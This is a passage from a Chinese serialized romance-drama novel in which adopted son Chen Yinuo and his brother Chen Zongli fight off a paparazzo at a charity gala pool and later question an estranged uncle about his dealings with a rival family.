咬人的狗不叫,陈宗礼看着出拳的陈一诺无声叹了口气。本想默默解决,这下当事人也知道了。 陈宗瑜还没看清地上的人,先认出了陈宗礼他们,吓得花容失色,喊了句:“哥?!” 陈宗礼直截了当地命令:“赶快走,我们收尾!” 陈宗瑜看见老K怀里的相机,瞬间明白了,这时,老K抱着相机,朝她的门面冲过来,她下意识伸手拦人。 然而,一个十几岁的柔弱女生,哪里拦得住老K这种壮实男人,眼看陈宗瑜就被撞飞。庄嘉轩一把陈宗瑜搂住的肩,把人带到身后,缝隙之间,被老K找到机会闯了出去。 陈一诺眼看人要跑走,奋不顾身地往前扑,死缠烂打地拉住老K的小腿,把160多斤的男人绊住。嘴里咬牙切齿:“想跑……没门!” 老K踹了他两脚,都没踩到实处,只能抱着相机往外爬,于是,俩人滑稽地在泳池边,扭打在一起。 电光火石之间,老K一脚结实地踹在陈一诺肩膀,陈一诺抓住他的小腿,用力往下拽…… “扑通——” 两人一起掉进满是彩色波波球和浮冰的泳池。 “一诺哥哥!”陈宗瑜挣扎着要上前帮忙,庄嘉轩把她拉住:“别闹了,快走!” 陈宗礼上前一步,安抚陈宗瑜道:“出去什么都别说,也别让奶奶看出端倪。这里哥搞定。” 陈宗瑜看着泳池的方向:“可是……” “没有可是。”陈宗礼严肃命令道,“这件事不能被传出去,知道了吗?” 目光移到庄嘉轩身上:“把她带回她朋友那里,当今天什么都没发生过。” 庄嘉轩郑重点头,半搂着陈宗瑜快速逃离别墅。 在他们撤退的同时,陈一诺跟老K从泳池边纠缠到泳池里。已经从抢相机变成纯粹打斗。 虽然,体型上老K比陈一诺几乎大一倍,在水里却不及陈一诺灵动,陈一诺不停用波波球砸他,用冰水泼他,边砸边骂。 “偷拍!!” “说我妹坏话!!” “还毁了我的新西装!!” 骂完,还时不时跳起来给他一拳,把老K逗得好不狼狈。 岸上的陈宗礼走到泳池边,捡起跌落的相机——老K在临落水前拼命把相机留在泳池边。 他取出相机里的储存卡,“咔嚓”一声利落掰断。斯斯然举起相机,问老K:“相机还要不要了?” 老K被陈一诺泼得吞下几口冰,他伸手挡在面前,嚷道:“你……你让这只疯狗先停下!” 陈宗礼转头看向陈一诺,少年落了水,西装沉甸甸地贴在身上,卷毛被打湿后软塌塌地贴在脑袋上,遮住了眼睛,他顾不得自己的狼狈,一个劲地往老K身上撒气,确实挺像乱咬的疯狗。 陈宗礼看着陈一诺的模样,好笑又可爱。心里的气莫名消了一半,他无奈道:“一诺,时间差不多,走了。” 陈一诺像接收到主人命令,这才停了手,不再对老K发起攻击。 老K浑身湿透爬上岸,气还没喘匀,就被陈宗礼一把抓住手腕,顺势反拧压在旁边的墙上。 跟陈一诺一味用野性蛮力打人不同,为了自保陈宗礼学过专业的防身课程,知道怎么控制人最痛。 老K的手臂被陈宗礼拧得骨头要碎了,发出“啊啊啊——要断了——”的哀吼。 陈宗礼一边压制他,另一边仔细搜了他的身,确保他没有录音或者其他设备,才松开他。 老K转过身,一脸不服:“陈宗礼,我不会善罢甘休的……” 陈宗礼拍掉西装上的水渍,冷声警告:“嗯,记得冲我来!” “但是,如果今天的事,你敢对外泄漏半点,我绝对不会放过你。” 老K忿忿不平地离开了别墅,剩下地上一滩水渍和一串脚印。陈宗礼转身回泳池,看着还泡在水里的陈一诺。 “还不上来?泡上瘾了?” 刚还杀气腾腾的陈一诺,这时面露痛苦:“哥,我好像抽筋了……” 陈宗礼二话不说跳到水里,水的寒意透过衣服触及肌肤,才知道这水真的冷。他拨开彩色波波球走到陈一诺身边,半搂着他的腰,让他浮在水面。 问道:“哪只脚?” 陈一诺疼得难受:“左……左脚。” 距离近了,才发现,陈一诺的嘴唇已经冻得发白,他快速按住对方的膝盖,伸直他的左脚,同时把脚掌往躯干方向扳。 过程很快,但陈一诺依然忍不住“哎哎哎哎,疼疼疼——”地嚷着。 “忍着……”陈宗礼不但没手软,还把他的脚掌又往里扳了扳。 陈一诺只能紧咬下唇,听话忍着。 没几分钟,陈一诺不再紧咬下唇,陈宗礼才松手。双手横抱着他,慢慢往岸上走。 两人的衣服已经彻底湿透,强壮如陈宗礼也觉得冰水刺骨,加上碍手碍脚的彩色波波球,心里默默肯定了那位男明星冰水里游泳的不易,决定回头多追加一些善款。 怀里的陈一诺在抽筋缓解后,才察觉自己被陈宗礼抱在怀里,手还圈在他哥脖子上。 陈一诺意识到,这是一个标准的“公主抱”。 正是要面子的年纪,陈一诺作为一个邦邦硬的直男,一直以被“公主抱”为耻。换成别人这样抱他,他得一拳把人揍飞。 可如今抱他的人是陈宗礼,感觉就不一样了,他哥高大英俊,肩宽胸广,双臂有力,安全感十足,他忘掉了公主抱的难堪,一味琢磨,自己什么时候能哥一样有男人味…… 陈宗礼的声音从头顶传来:“那么安静,在想什么?” 陈一诺瞬间红了脸,心想,他不够man的事,如果让陈宗礼知道也太丢人了。 掩饰道:“在想宗瑜的事,那狗仔会不会出去乱说?” 陈宗礼不以为然:“照片毁了,狗仔有料也不敢爆。等下回去,就说我们不小心掉泳池里,掩饰过去就行了。” 陈一诺:“知道了。” 陈一诺心想,不愧是陈宗礼,事情发生得那么突然,居然能沉着应对,一切处理得有条不紊。 抢相机、毁储存卡、口头警告,甚至连回去面对陈老太责罚的借口都想好了。 陈一诺的思绪乱飞,突然问道:“哥,陈宗瑜怎么就有喜欢上庄嘉轩了呢?” 陈宗礼垂眸看他:“怎么,吃醋了?” 那会儿,二婶已经很喜欢陈一诺,总喊他给陈宗瑜补习,有意无意地夸一诺聪明,还开玩笑问宗瑜是不是最喜欢一诺哥哥。 童养女婿的小心思,路人皆知。 陈一诺消化着陈宗礼的话,咻地瞪大眼睛,猛烈摇头,乌黑的卷毛甩起来,溅了陈宗礼一脸水。 “吃醋?怎么可能……” “我就是好奇,我跟宗瑜明明差不了几岁,我对感情还懵懵懂懂的呢,她居然有喜欢的人了?” “哥,喜欢到底是什么感觉呢?” 陈宗礼把怀里的陈一诺推到岸上,自己站在泳池里,脸色被池水衬得唇红齿白,让人想起欧美剧里的吸血鬼。 他目光灼灼地看着陈一诺,眼里倒映着波波球的五彩斑斓。 “看见的时候想,看不见的时候更想。” “这就是喜欢。” 陈一诺皱眉:“听不懂……太抽象了。” 陈宗礼双手叉腰抬头看天,感叹太难了。半晌,继续开口。 半晌,继续开口:“好比今天发生的事。” “看见TA的时候,你想迫不及待地告诉TA。” “看不见TA的时候,哪怕你跟TA分享了,心情还是觉得不够。因为比起和TA分享,你更想和TA一起经历……” “这就是喜欢。听明白了吗?”—— 作者有话说:不知道性别,所以用TA~ 第37章 那天陈宗礼已经说得够直白,10多岁的陈一诺依然听不懂。 心里眼里只有感慨:陈宗礼真是个无所不知的“六边形战士”。 幸好陈宗礼不会读心,不然,看见他这个结论,估计得吐血。 …… 那天回去以后,按照陈宗礼教他们说的,他们只对陈老太解释,玩闹过程中不小心掉到泳池里。关于陈宗瑜和庄嘉轩被狗仔偷拍的事情,闭口不提。 一个解释漏洞百出,光是“玩闹”这点,就不可能发生在陈宗礼身上。 陈老太那双锐利的眼睛,像自带x光,在三个孙子身上一一扫过。陈宗礼一脸淡定,陈一诺强装轻松,陈宗瑜目光闪躲。 最后,老太太手指点了点的陈宗礼:“你,因为玩闹掉到泳池里?” 其他人眼神里都带着慌乱,唯独陈宗礼眼神里充满信念感,脸皮很厚地应道:“对。我玩闹了。” 陈老太太冷笑了声,选择不继续拆穿,带着人打道回府。 于是,当晚他们离开TVA的影视城时,不少记者拍到陈老太铁青着脸,而两位少爷浑身湿透,脚下都在滴水的画面。 老太太故意不让他们擦干,愣是让水渍从会场一直跟到车上,颇为滑稽。 第二天,所有电视新闻、报章杂志头条,都是关于慈善晚会捐款创新高的正面报道。 唯独某个周刊标新立异,在副刊登出了慈善晚会的一则八卦:陈氏兄弟慈善晚会湿身“水拼”,既生瑜何生亮! 这个周刊在港城销量不高,当时几乎没人注意到这则八卦。 而陈宗瑜跟庄嘉轩的这场虐恋,以及陈宗礼那场关于喜欢的对话,跟泳池里的浮冰一样,不知不觉融化在漫长的时间长河里。 …… 在陈家老宅的晚宴吃到中途,陈宗礼被一个紧急电话叫走,直到晚饭结束,他也没再下楼。 吃完饭,陈老太问兰姨:“今晚有什么甜点?” 兰姨皱眉:“奥哟,老太太,晚饭就不要再吃甜的了……” 陈老太咂摸着嘴,嘟囔:“一诺回来了,一诺要吃的呀?” 陈一诺连忙摆摆手:“奶奶,我晚饭已经吃很饱了,我先回酒店,收拾好行李,明天搬回来。” 陈老太意兴阑珊地点头,眼里还有些失望。 二婶还想挽留:“哎哟,一诺今晚别回去了吧。直接睡这儿,东西明天再收拾也不晚吗,酒店又不会跑路。” 陈一诺犹豫怎么开口拒绝,就被身后的陈宗瑜生生推着往门外走。 “不了不了,一诺哥哥累了一天,要赶紧回酒店休息!我送送他……” 生怕二婶极力挽留,陈宗瑜拽着陈一诺逃难似的,从主宅仓皇离开。 仲夏夜,两侧的花圃飘来淡淡的茉莉花香,陈一诺把外套搭在臂弯上,顺手解开两颗扣子,任由陈宗瑜推着,晃晃荡荡往门口走。 陈一诺不解:“那么怕我在家里住啊?” 陈宗瑜:“明天吧,我总有预感你今晚留下来,我妈会安排我们洞房!” 陈一诺笑出声,眼里的光比夜灯还明亮:“二婶开玩笑的,你还挺当真。” 陈宗瑜朝他翻白眼,嘲笑他有所不知:“她不是开玩笑,她真想你当女婿的。” “你不知道,当年你被送出国,我妈比我还伤心呢……” 陈一诺不信:“安慰我的吧,我有那么好?” 陈宗瑜撇嘴:“你又不是不知道,我妈这人爱恨分明,眼里只有喜欢和不喜欢,没有灰色地带。” “当年你刚来我家的时候,她最反对,觉得你觊觎陈家的遗产,觉得你侵占我的资源……毕竟,大哥已经当作继承人培养了,突然又多了一个人,还是男的,对我更不利。” 无论外界如何宣扬男女平等,在他们这样的豪门家庭里,哪怕是老太太这种女强人做主,女生也依然不是首选。 陈一诺想了想,也觉得奇怪:“对啊,她怎么突然改变想法了呢?” “我就知道你肯定忘了。”陈宗瑜眯着眼睛回忆着,“好像是,我初中的校园开放日,那天奶奶跟陈宗礼没空,你就跟我妈一起来看我。我妈去找老师聊天的时候,你来观摩我的插花课。” 陈一诺点头说记得。 圣保罗的初中部也是港城最好的贵族初中,请来的老师都是教育领域顶尖。当时,插花课是最热门的课程,老师获得过全球插花比赛金奖。当时,吴淑芬非要陈宗瑜上这个课,修身养性。 “你也知道,我小时候性格像个假小子,根本不喜欢摆弄花花草草。那个老师嫌我悟性低,说宗瑜,不要仗着家世就随意任性。这些基础弄不好,以后嫁人会吃苦头的。” 哪怕是陈家的三小姐,也是被规训着长大的。而这些残忍的话,像魔音一般,长年累月地刻进骨子里。 “我听完这句话,第一反应是委屈。我就是不喜欢,不想学,扯什么嫁人呢。” “结果你走过来直接怼老师说,我妹妹为什么不能随意任性,学不好插花就不学,嫁人要吃苦头就不要嫁。又不是养不起她。” 陈一诺想起这段挠挠头:“操,我以前那么中二吗!” 陈宗瑜笑了:“是啊!你当时戴着那么厚的眼镜,看起来呆呆的。没想到怼起人来那么凶。” “我还记得,后来那个老师去找我妈告状。我心想完了,这回肯定要被骂。” “谁知道,我妈跟老师道完歉,就带着我们走了。我后来也没上过插花课。回想起来,估计她就是从那时候开始,筹备童养女婿计划。” 陈一诺“哎哟”一声:“求她别筹备了,我可招惹不起。” 陈宗瑜朗声笑:“抛开庄嘉轩不说,我妈眼光还挺好的。你离开家里那么久,现在荣归故里,要钱有钱,要颜值有颜值,勾勾手指头喜欢的人一大把。” 陈一诺耳聪目明,听出对方话里有话:“啧啧啧,陈宗瑜,我可听出来了,你是担心我真对你有意思,所以让我赶紧找别人吧……” 被拆穿的陈宗瑜拍了他一下,面露娇羞道:“哎哟,说实话多尴尬……” “我也是以防万一。你看你这些年也没谈过恋爱……” “呵呵呵”,陈一诺笑得阴阳怪气,“我没谈过恋爱,是因为我根本没时间谈!” 陈一诺没说谎。他确实没有时间,上辈子忙着证明自己比陈宗礼强,结果锒铛入狱;出狱后,忙着救天峻于水火之间;这辈子又忙着救人和复仇,哪来的时间风花雪月。 兴许,他就是没长恋爱脑呢。 陈一诺侧着脑袋看陈宗瑜:“刚刚吃饭的时候,我还跟哥算过。从慈善晚会算起,快7年了,你怎么还没放下庄嘉轩……” 说到自己的事,陈宗瑜脸上浮现出一道红云,她扯着裙摆,自嘲:“我也想放下啊。有时候想想,他也没有特别好,但那年我坐在他摩托车经过青落大桥,眼前大朵烟花炸开,那种浪漫和心跳……我在其他人身上始终找不到。” “一诺哥哥,如果,我三十五岁还没结婚,就勉为其难嫁给你吧。我妈开心,我跟你生活也挺自在的。” 说这话的时候,小姑娘脸上的落寞让人心酸,陈一诺捏着她下巴,左右看看:“哎哟,什么表情?嫁给我真是难为死你了!” 陈宗礼说,喜欢一个人,看见的时候想,看不见的时候更想。 陈宗瑜说,喜欢一个人,会产生剧烈的心跳。 这些心情,陈一诺活了两辈子,都没体验过。 他暗自感慨:绝了,我的恋爱细胞死绝了。 陈宗瑜脸上的妆都被蹭花了,她挣扎着远离陈一诺,转身看老宅的方向:“你说,事业脑和恋爱脑,是不是只能二选一?我看陈宗礼光工作也不谈恋爱。” 陈一诺顺着他的视线往上看,二楼的房间亮着灯,那是陈宗礼的房间。 他双手揣兜,疑惑:“哥,不是跟李思维谈恋爱吗?” 陈宗瑜手指左右摇了摇,一副“你有所不知”的神情:“哪有人像他们那样谈恋爱的。常年异地,一个月不打一通电话。我觉得陈宗礼有喜欢的人,可能还是暗恋,但对象肯定不是思维姐。” 陈一诺不以为然道:“暗恋?你说陈宗礼会暗恋?” 从学生时期就认识不少暗恋陈太子的,这样一个站在权力、财力顶尖的人,会低下头卑微地的暗恋一个人? 陈宗瑜:“是有点难以相信,可能是女人的第六感吧……反正你不懂~” 不懂。陈一诺很坦然,他一个恋爱细胞死绝了的人,怎么可能懂。 …… “话说回来,你跟陈宗礼关系能缓和,我还挺高兴的。但是!你俩瞒着我合作的事,没完啊!” 陈一诺眨眨眼:“放心,哪怕我跟他不和好,我也会把你当妹妹疼的。” 陈宗瑜傻笑:“这话听着,怎么那么像离婚父母对孩子说的啊?” 她清清嗓子:“放心,就算爸妈离婚了,也依然会对你很好……是不是很像?” 陈一诺无奈:“你这么说,感觉我当年跟陈宗礼关系挺亲密。” 陈宗瑜开始翻旧账:“你们还不算亲密啊?!一起去天峻旁听,一起在书房做功课,甚至一起睡!把我都排除在外!” 听到这里,陈一诺有些恍然,上辈子消逝的记忆,似乎被陈宗瑜的抱怨唤了回来。那些跟陈宗礼朝夕相处的日日夜夜,就像梦一样,甚至有些旖旎。 他不自觉挠头:“我们有一起睡……睡吗?” 陈宗瑜坚决道:“当然!我都看见了!!有一回,雷暴雨,打雷打得我心惊肉跳。我抱着枕头想跟你们挤一挤,结果被陈宗礼无情地丢了出去,小气鬼!” “不过,你走了以后,陈宗礼也挺沮丧的,直到现在也很少回来住。” 陈一诺回过神来,开玩笑道:“他……他太忙了吧,毕竟整个天峻都靠他管理。” 陈宗瑜摇头:“谁知道呢,每天冷着脸,动不动就发脾气。你这次回来,不觉得他比以前严肃多了么?” 思绪纷乱,无论这辈子还是上辈子,他对这几年的陈宗礼只有形同陌路的空白。 可从陈宗瑜嘴里听到这些,让陈一诺感到疑惑。 明明当时,斩钉截铁要送自己走的人是他。为什么又要表现出很难过呢? “叮——”收到一条消息,来自陈宗礼。他点开: C:明天中午,我去LS酒店接你回家。 陈一诺的手指在“接你回家”几个字上,划了划, 输给你爸不丢人:好 …… 深夜,陈一诺的车往LS酒店方向去,即将抵达酒店,他敏感察觉身后有车跟着。 问王之初:“后面那辆黑色吉普是不是跟着我们?” 王之初转头看了看车牌:“哦,那是我们请的保镖。你不是让我抓人么,应该是抓到了。” “效率挺高”,陈一诺这才放下心来,跟司机说,“待会停在酒店VIP通道。别被狗仔拍到了。” “好的,陈先生。” 十五分钟后,抵达酒店VIP通道。陈一诺先下车,双手揣兜等着。 身后一辆黑色吉普跳下来两个穿西装的男人,他们从后排带下来一个中年男人。三个人一起走到陈一诺面前。 这是陈一诺第一次看清自己保镖的模样,一个高个子狐狸眼,一个稍矮正太脸。 王之初介绍道:“这两位是银狼派来的保镖,左边这位高个子叫聂加,旁边这位是罗里。今后负责你的安保工作。” 当初他让王之初找保镖,没想到,他居然找了A国最厉害的安保公司——银狼安保。 陈一诺跟高个子握手,对方弯着狐狸眼:“陈先生好。” 另一个正太脸手里控着中年男人,酷酷抬了个下巴,算是打了招呼。 陈一诺笑了笑,目光挪到他抓着的男人身上。眼睛闪过杀意,嘴角扯出一抹冷笑。 “古先生,晚上好,我们又见面了!” 第38章 保镖把古德庆送到陈一诺的房间,他只是占了沙发的一个角落,陈一诺已经觉得房间脏了。 他从心里厌恶这位原生家庭的大伯。 上辈子出狱后,他接手天峻这个烂摊子,进而开始从陈宗瑜或者其他途径获悉,那几年陈家的情况。过程中发现,把陈家这艘百年邮轮拖垮的路上,古德庆也出了不少力。 加上这回在竞标现场的相遇,他背后金主肯定是贺家无疑。他内心的一些猜想需要被证实。因此,竞标结束后,他就吩咐王之初把人带过来,他想亲自审问。 几小时前,在竞标现场耀武扬威的古德庆,此时,身上添了不少伤口。脑袋上缠着厚厚一圈纱布,纱布上还渗着血。 陈一诺敛着眼睑,问王之初:“我们打的?” 王之初没回答,直接看向两位保镖。 不远处的聂加笑了笑,狐狸眼弯弯地:“陈先生,我们银狼是专业团队,能动口不动手。我们在医院门口里找到这位先生的时候,他已经是这幅模样了。” 陈一诺点头,朝古德庆抬抬下巴:“谁打的你?” 古德庆年近五十,年纪大又受了伤,神情萎靡,语速很慢:“贺朝阳。” “他输了羽南港的项目,还被那个叫Ellen的外国人骗了几百万,他爸嫌他丢了贺家的脸。我刚好找他要钱,他就把气撒在我身上……” “一诺,看在一场叔侄的份上,你放我一马。我把这些年,贺家做的阴损事,全部告诉你,行不行?” 陈一诺双手抱在胸前,眯着眼看这位无利不起早的老头:“你不会无缘无故跟我交代的,说吧,有什么条件?” 古德庆眼里的颓废淡了些,他憨憨地笑笑:“我要五千万,外加A国两套别墅。” 果然,古家的基本盘就是差。 他朝保镖和王之初说:“你们先出去吧。” 王之初有些紧张:“我也走?你们不会打起来吧?” 陈一诺“切”了声,撇了眼古德庆满是皱纹又油腻,还被裹成粽子的脸:“放心吧,我会敬老的。” 他们离开后,总统套房内剩下叔侄两个人。 “你刚刚说……这些年,贺家做的阴损事……”陈一诺敏感地挑出重点,也挑出了疑点,“具体从什么时候开始?” 古德庆挑眉打量着曾经的侄子,豁出去似的:“从我第一次出现在圣保罗开始。” 陈一诺“哈”了声,露出鄙夷的表情。原来那么早,他们就开始狼狈为奸了。 他睨着古德庆,目光灼得对方不敢直视他,缓缓说道:“当年,你的奶奶葬礼过后,你突然人间蒸发。我们想着多一事不如少一事,都没过问。” “后来,有一次我去港城出差,翻八卦杂志的时候,看了一篇“慈善晚宴陈家兄弟反目”的文章。我一看照片就把你认出来了,加上名字,我就更加肯定。” “当时,古家该分的都分完了。我们这些亲戚,拿了钱的,有的赌光了,有的创业败光了,有的炒房结果遇上金融风暴全赔了。我的公司,当时也摇摇欲坠,欠了不少钱,只好去陈家想想办法。” …… 古德庆知道侄子被陈家收养后,还专门打听陈家到底是什么来头。 不查不知道,一查吓一跳。陈家原来就是港城四大家族之一的陈家!!天峻集团就是他们家的! 能攀上这么一门亲戚,别说公司欠债,他随便在天峻底下当个供应商都能捞不少油水! 抱着这样的心态,他决定去陈家“认亲”。 可是,他人生地不熟,根本想不到,陈家居住的港坪山警卫如此森严,连苍蝇都飞不进。 他在港坪山入口蹲了两天,看着豪车来来往往,却根本见不到陈一诺。无奈之下,他只好改变策略,找到陈一诺所在的学校:圣保罗中学。 终于,如愿以偿蹲到了陈一诺。 当古德庆出现在陈一诺面前,假装亲切地喊他:“一诺。”的时候。陈一诺浑身毛孔竖立。仿佛上辈子纠缠不清的恶鬼,卷土重来。 但很快,他甩开对方,丢下一句:“我不认识你。”继续往司机的方向走。 古德庆着急了,追上去口不择言:“你怎么可能不认识我呢?我是你大伯啊!我专门从上城找你的呀。” 陈老太一直把他藏着,不让他在公众面前露面,除了担心记者乱写,也是担心古家人找上门。没想到,还是被发现了。 真是应了那句:富在深山有远亲。 正值放学的时候,校门口聚集了不少学生,看见两人拉扯,纷纷朝他们投来疑惑的目光。 这时,身后又有人喊他:“一诺。” 陈一诺回头,这回发现是陈宗礼,他欣喜道:“哥,你怎么来了?” 那时,陈宗礼在C国上大学,成天在C国和港城之间飞机往返,神龙见首不见尾。陈一诺快一个月没见他了。 陈宗礼:“下午见了个客户,刚好顺路接你。” 目光一转落到面前这位中年男人身上,礼貌问:“这位是?” 虽然语气礼貌,但眼神里带着警惕。古德庆愣了愣,很快认出面前的男生就是杂志上说的“陈太子”陈宗礼。 顾不得想八卦里说他们两不和的传闻,拉着他的袖子,开始自报家门。 “我叫古德庆,是一诺的大伯。这段时间,我们找一诺找得可苦了……” “啪——” 陈一诺毫不留情地拍掉他握着陈宗礼的手,冷笑:“哼,你们找过我?梦里找吗?你自己信吗??” 古德庆脸色一变,想骂兔崽子,不识好歹,可陈宗礼就在身边,他只能陪着笑脸耐心哄着。 “一诺,你离开上城也不说一声,奶奶走了以后啊,大伯一直牵挂着你……” “的钱……”,陈一诺成语接龙似的,毫不留情往下接,“大伯你一直牵挂着我的钱,我记得的,你在奶奶的灵堂已经牵肠挂肚了。” 想起在灵堂时的争执,古德庆面子挂不住,忍不住道:“你怎么能这么说话呢?我担心你是一个无依无靠的未成年人,手里拿着钱太危险!需要有监护人帮你看管才这么说的!我都是为你考虑,你说是不是啊,太子爷。” 一句“太子爷”把陈一诺听得浑身发麻,看来古德庆不但知道他被陈家领养了,还知道陈家在港城是什么地位。 陈一诺刚来港城的时候,低调得像一个透明人,压根不敢认是陈家养子,怕给陈家添麻烦。大伯古德庆倒好,就差把“我是陈宗礼亲戚”几个字印在衣服上招摇过市了。 陈一诺举起手,做了一个“投降”的动作,打算速战速决:“求你别再为我考虑,也别再出现在我面前,我现在姓陈,不姓古!” 说完,拉着陈宗礼的手想走,没想到被陈宗礼按住。他云淡风轻地跟陈一诺说:“我跟他去咖啡厅聊几句,你先上车。” 陈一诺皱眉:“我不要,陈宗礼,你别管他……” 陈宗礼没说话,只沉默着看他,上斜眼在没有表情的时候,有种不容置疑的压迫感。 陈一诺瞬间怂了,只好点点头,拽着背包带上车,眼神始终警惕地看着咖啡厅的方向。 古德庆跟陈宗礼在咖啡厅聊了半小时,等陈宗礼再上车,陈一诺问他说了什么,他始终不肯透露,这事也成了上辈子的一个谜。 没成想,还有揭晓谜底的时候。 …… 酒店内,古德庆继续道:“当时,我跟陈宗礼说了我的情况。我没问他要钱,只是想,他管理那么大一个天峻,给我点生意做做就成,一场亲戚互惠互利的事。” “陈宗礼答应很爽快,还给我一个联系方式。跟我说,跟这个人联系,对方自然会给我安排事做。但是,他要我答应,不许再到学校或者任何地方找你,不然就把我从港坪山扔下去。” 啊,原来是这样。陈一诺恍然,难怪古德庆后来再没出现在他面前…… “既然,陈家愿意帮你,你怎么又跟贺家扯上关系呢?” 话题突转,古德庆也不是吃素的,他道:“一诺,大伯是不是很配合,你问我都答。为表诚意,我刚过那些要求,是不是可以兑现?” “对了,除了刚刚要求的那些钱啊,房啊,我还要外加一台私人直升飞机,今晚就要走。” 陈一诺忍不住笑了:“才吃个头盘,就准备打包?流程那么熟练,这些年贺家没少给你东西吧。” 古德庆憋红了脸,他跟着贺家过得太憋屈,但又不好跟陈一诺直说,不然,陈一诺要看轻他,五千万也要打折扣。 他只能谨慎道:“贺朝阳喜怒无常,开心了什么都答应,不开心的时候,就拿人出气!你看我这……”他指着纱布的位置,“用烟灰缸砸的。” “贺朝阳这回丢了那么大的脸,看着是没戏了!我也得另觅出路啊,你说是不是。” 陈一诺掏出支票簿,“刷刷”非常爽快地给他开了一张五千万的支票,古德庆伸手要拿,陈一诺一句“等等”,夹着支票的手指往内一收。 他逗狗似的:“支票,我开了,但值不值五千万,我要听完才能下判断。” 古德庆紧张了:“那不行!万一你听完硬说不值,那我不是亏大了?” 陈一诺挑起嘴角:“万一这是你跟贺家设下的苦肉计,我这钱不就打水漂了?” “对我来说,这些钱算不了什么,前提是你的情报真的值。相反,如果被我发现,你的情报有误……” 他伸长手指,把茶几上的水晶烟灰缸拉到自己面前。 “我就再赏你一个烟灰缸。” 跟烟灰缸对视的一瞬,古德庆伤口处传来一阵钝痛,他皱眉打量着眼前的侄子。 这位“侄子”被陈家流放国外的几年,并非没有堕落,反而一路猛进杀了回来。先是莫多里的项目,一战成名。然后在羽南港竞标以压倒性方案中标。 那个跪在灵堂里,一身孝服的孤儿,如今成为深不可测的商业巨子。 如果对方不肯给钱,他确实也无可奈何。穷途末路的古德庆把视线从烟灰缸收回。 屈服道:“好吧……”—— 作者有话说:回忆线预警!!接下来4章左右回忆~ 第39章 那天,陈宗礼离开咖啡店后,古德庆正准备给联系人打电话。 这时,一个穿圣保罗校服的男学生大大咧咧坐在他对面,坐姿放肆,用三白眼打量着他,毫不客气地问:“你是陈宗礼什么人?” 什么人? 古德庆理所当然地想,陈一诺喊他大伯,陈一诺跟陈宗礼是兄弟关系,那陈宗礼当然也喊他大伯咯。 一想到自己成了“太子爷”的大伯,整个人都嚣张起来:“我是他大伯!有事?” 男学生来了兴致,索性双手叠在咖啡桌上,三白眼像蛇似的盯着他:“陈宗礼根本没有大伯!你骗人!” 古德庆只知道陈家有钱有势,他们家有几口人,根本搞不清楚,本想随口蒙人,没想到那么快被拆穿,他嘴硬道:“我说是就是,你懂什么,懒得跟小鬼说话!” 他刚要起身,就被男生拽住衣领,那双三白眼仿佛两把刀子,刺得他心里发毛。 男学生恶狠狠道:“我心平气和的时候可不多,别敬酒不吃吃罚酒,问你话就说,再唧唧歪歪,信不信把你捆起来,丢到罗亚港喂鱼。” 古德庆用力要挣开,没想到未成年力气那么大,他挣扎半天无果,嚣张气焰瞬间消失,卖乖道:“同学,同学,你到底想怎么样?” 那人笑了:“说实话,你叫什么?到底是谁?” 古德庆没了办法:“我叫古德庆,是一诺的大伯。” 拽着领子的手再用力:“你又骗人!陈一诺姓陈,你姓古,你怎么可能是他大伯?是不是想去喂鱼?” 说完拽着人就要往外走,古德庆按着脖子上手,求饶道:“我真是他大伯。” “他只是被陈家领养以后改姓陈,他以前叫古一诺,真的是我侄子。” 男生这才松开他,恍然道:“啊……原来陈一诺不是私生子,是养子。” 古德庆赶紧点头,他以为男生跟陈一诺关系很好,连忙解释:“我这次来,只是想跟陈家攀上点关系,我已经答应陈宗礼,不再找陈一诺。你放心……” 男生三白眼转了一个圈,问他:“陈宗礼是个弟控,为了让你远离陈一诺,绝对用了阴招。” “你与其跟陈家攀关系,还不如和我合作,直接把整个陈家吞了怎么样?” 古德庆觉得面前这个男生在说疯话,一脸迟疑:“你……你什么意思?” “意思就是,跟我合作。只要你按照我说的去做,我保证,陈宗礼答应给你的,我给你两倍!” 古德庆半信半疑地看着他,迟迟没有开口。 男生冷笑着给他一个电话号码,交代道:“不着急,想好了打给我。” “啪——”他把号码往桌上一拍,起身要离开。 古德庆看着手上一左一右两个电话号码,着急问道:“你叫什么名字啊?” 男生回头看他一眼,笑道:“贺朝阳。” 人是贪婪的,比一份利益诱惑更大的是两份。 这就是古德庆跟贺家合作的开端。 …… 古德庆用老办法查了贺朝阳,没想到,四大家族又被他攀上一家。 本来穷途末路的人,突然体会到绝处逢生,让他误以为,港城豪门都那么容易结识。 他看着面前的两个电话,觉得自己像被废了武功,结果掉进山洞捡到武林秘籍的主角,不过他手握着的是发财致富的密码。 他先拨通陈宗礼留的电话,接电话的是他助理,对方礼貌但冷漠说:“根据我们的调查,您目前拥有五家上城菜餐饮连锁,我们邮轮上刚好缺一家上城菜的供应商,陈总说,如果您愿意,可以试试看。” “邮轮吗?不是天峻内部食堂,或者酒店餐厅什么的?” 对方再次礼貌又冷漠地确认道:“对的,就是邮轮。” 古德庆那颗发财致富的心,瞬间碎了。做餐饮最讲究地段,如果做天峻内部的生意,无论食堂还是餐厅,首先租金不用愁,从采购到招揽客人一条龙都是油水! 现在可好,陈宗礼安排他去邮轮!出去一趟,就得在海上飘一段时间,短期回不来。餐饮要么包在船票里,要么自助形式,遇上环球航行还得多家竞争,能有什么赚头? 古德庆不愿意,于是,他愤懑地拨通了贺朝阳的电话。 对方似乎早料到他会给自己打,声音懒散:“大伯,你的电话来得比我预想的快啊。我派车接你,待会儿详谈。” 贺朝阳摸准了古德庆的虚荣心,专门派了一辆劳斯莱斯去接他。果然,这份诚意成功收买了古德庆。 他们约在一家茶餐厅见面,当时,贺朝阳面前摆着一份西多士,他把黄油和蜂蜜抹在被炸得金灿灿的吐司上,然后一口多士,一口柠茶,好不享受。 看见古德庆进来,他擦了擦嘴,直接道:“哟,这脸色,说了陈宗礼会阴人吧。” 古德庆气不打一处来,气势汹汹坐在他对面:“他让我去邮轮做餐饮!操,天天飘在海里,还不赚钱。老子不去。” 对面的高中生“哈哈哈”大笑起来:“我就说了他是弟控,为了让你远离他弟,当然把你有多远支多远。” 古德庆一拍脑袋,喊道:“原来是这样!可我已经说了,保证不找他了呀……” “古先生,我们明人不说暗话,我也查了你的底细。上城古家几乎每个人的经济条件跟你差不多吧。 破产的破产,创业失败的失败。要是他们听到风声,你在陈家吃到甜头是因为陈一诺,你发誓不找他,其他人可不一定哦。” “所以,陈宗礼给你一个机会,但绝不会是让你发财的好机会。要么像你现在这样看不上,知难而退,要么你踏踏实实做着,凭实力赚钱。” 古德庆脸色暗沉:“我当然想踏踏实实做的,但是,我实在周转不来,二少,你帮我想个办法,只要我赚到一笔钱,我以后都……都踏踏实实,凭实力赚钱!” 